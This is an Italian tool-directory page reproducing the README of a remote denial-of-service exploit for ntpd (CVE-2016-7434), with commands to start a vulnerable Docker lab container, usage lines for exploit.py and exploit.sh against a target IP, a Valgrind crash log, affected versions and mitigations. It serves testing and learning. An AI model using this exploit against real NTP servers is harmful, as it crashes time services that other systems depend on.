Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
exploit-CVE-2016-7434 — Exploit DOS remoto di NTPD e container vulnerabile | Kitploit
Strumenti/GitHubGitHub/opsxcq/exploit-cve-2016-7434
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e Formazione
GitHubopsxcq/exploit-cve-2016-7434

exploit-CVE-2016-7434

Exploit DOS remoto di NTPD e container vulnerabile

Vedi Repository
251338 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2016-7434 exploit DoS di ntpd

Docker Pulls

Ntpd soffre di un riferimento a puntatore nullo che può essere attivato per far crashare l'applicazione. Secondo NTP.org, "Se ntpd è configurato per consentire richieste di query mrulist da un server che invia un pacchetto malizioso appositamente predisposto, ntpd andrà in crash alla ricezione di quel pacchetto di query mrulist malizioso."

Il programma ntpd è un demone del sistema operativo che imposta e mantiene l'ora di sistema di un computer in sincronizzazione con i server di tempo standard di Internet. È un'implementazione completa del Network Time Protocol (NTP) versione 4, ma mantiene la compatibilità con le versioni 1, 2 e 3.

La routine che legge la lista MRU (read_mru_list) può essere trovata qui, e qui c'è la riga dove avviene l'eccezione

Exploit

Immagine vulnerabile

Se vuoi un sistema vulnerabile per testare questo exploit, puoi usare docker per crearlo

root@kitploit:~
docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434 

Avvierà un container docker con un ntpd vulnerabile, così potrai sfruttarlo.

python

root@kitploit:~
./exploit.py -t <target ip> -p <target port>

bash

root@kitploit:~
./exploit.sh <target ip> <target port>

Sfruttare il bug

Se scegli di eseguire il tuo exploit contro il tuo container docker, dopo lo sfruttamento mostrerà il risultato qui sotto:

root@kitploit:~
==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==1== Command: /src/ntpd/ntpd -n -c /ntp.conf
==1== 
22 Nov 23:59:27 ntpd[1]: ntpd [email protected] Tue Nov 22 23:28:13 UTC 2016 (1): Starting
22 Nov 23:59:27 ntpd[1]: Command line: /src/ntpd/ntpd -n -c /ntp.conf
22 Nov 23:59:27 ntpd[1]: Cannot set RLIMIT_MEMLOCK: Operation not permitted
22 Nov 23:59:27 ntpd[1]: proto: precision = 4.680 usec (-18)
22 Nov 23:59:27 ntpd[1]: switching logging to file /dev/null
22 Nov 23:59:27 ntpd[1]: Listen and drop on 0 v6wildcard [::]:123
22 Nov 23:59:27 ntpd[1]: Listen and drop on 1 v4wildcard 0.0.0.0:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 2 lo 127.0.0.1:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 3 eth0 172.17.0.2:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 4 lo [::1]:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 5 eth0 [fe80::42:acff:fe11:2%13]:123
22 Nov 23:59:27 ntpd[1]: Listening on routing socket on fd #22 for interface updates
22 Nov 23:59:28 ntpd[1]: start_kern_loop: ntp_loopfilter.c line 1118: ntp_adjtime: Operation not permitted
22 Nov 23:59:28 ntpd[1]: set_freq: ntp_loopfilter.c line 1081: ntp_adjtime: Operation not permitted
==1== Invalid read of size 1
==1==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1==    by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1==    by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1==    by 0x423FC1: receive (ntp_proto.c:659)
==1==    by 0x412D5F: ntpdmain (ntpd.c:1329)
==1==    by 0x4042B8: main (ntpd.c:392)
==1==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1== 
==1== 
==1== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1==  Access not within mapped region at address 0x0
==1==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1==    by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1==    by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1==    by 0x423FC1: receive (ntp_proto.c:659)
==1==    by 0x412D5F: ntpdmain (ntpd.c:1329)
==1==    by 0x4042B8: main (ntpd.c:392)
==1==  If you believe this happened as a result of a stack
==1==  overflow in your program's main thread (unlikely but
==1==  possible), you can try to increase the size of the
==1==  main thread stack using the --main-stacksize= flag.
==1==  The main thread stack size used in this run was 204800.
==1== 
==1== HEAP SUMMARY:
==1==     in use at exit: 31,476 bytes in 149 blocks
==1==   total heap usage: 313 allocs, 164 frees, 310,744 bytes allocated
==1== 
==1== LEAK SUMMARY:
==1==    definitely lost: 0 bytes in 0 blocks
==1==    indirectly lost: 0 bytes in 0 blocks
==1==      possibly lost: 2,000 bytes in 2 blocks
==1==    still reachable: 29,476 bytes in 147 blocks
==1==         suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1== 
==1== For counts of detected and suppressed errors, rerun with: -v
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

valgrind: the 'impossible' happened:
   main(): signal was supposed to be fatal

   host stacktrace:
   ==1==    at 0x380A48EF: show_sched_status_wrk (m_libcassert.c:319)

   sched status:
     running_tid=1

Versioni vulnerabili

  • 4.3.90
  • 4.3.25
  • 4.3
  • 4.3.93
  • 4.3.92
  • 4.3.77
  • 4.3.70
  • 4.2.8p8
  • 4.2.8p7
  • 4.2.8p6
  • 4.2.8p5
  • 4.2.8p4
  • 4.2.8p3
  • 4.2.8p2
  • 4.2.8p1
  • 4.2.7p22

Non vulnerabili:

  • 4.3.94
  • 4.2.8p9

Mitigazione

  • Consenti solo pacchetti di query mrulist da host fidati.
  • Implementa BCP-38.
  • Aggiorna alla versione 4.2.8p9.
  • Monitora correttamente le tue istanze ntpd e riavvia automaticamente ntpd (senza -g) se smette di funzionare.

Dichiarazione di non responsabilità

Questo programma o quelli precedenti sono SOLO per scopi educativi. Non usarlo senza permesso. Vale la solita clausola di esclusione, in particolare il fatto che io (opsxcq) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o funzionalità fornite da questi programmi. L'autore o qualsiasi provider Internet non ha ALCUNA responsabilità per il contenuto o l'uso improprio di questi programmi o di loro derivati. Usando questi programmi accetti il fatto che qualsiasi danno (perdita di dati, crash di sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di opsxcq.

Crediti

Magnus Klaaborg Stubman (@magnusstubman) ha trovato questa vulnerabilità.

Scarica lo strumento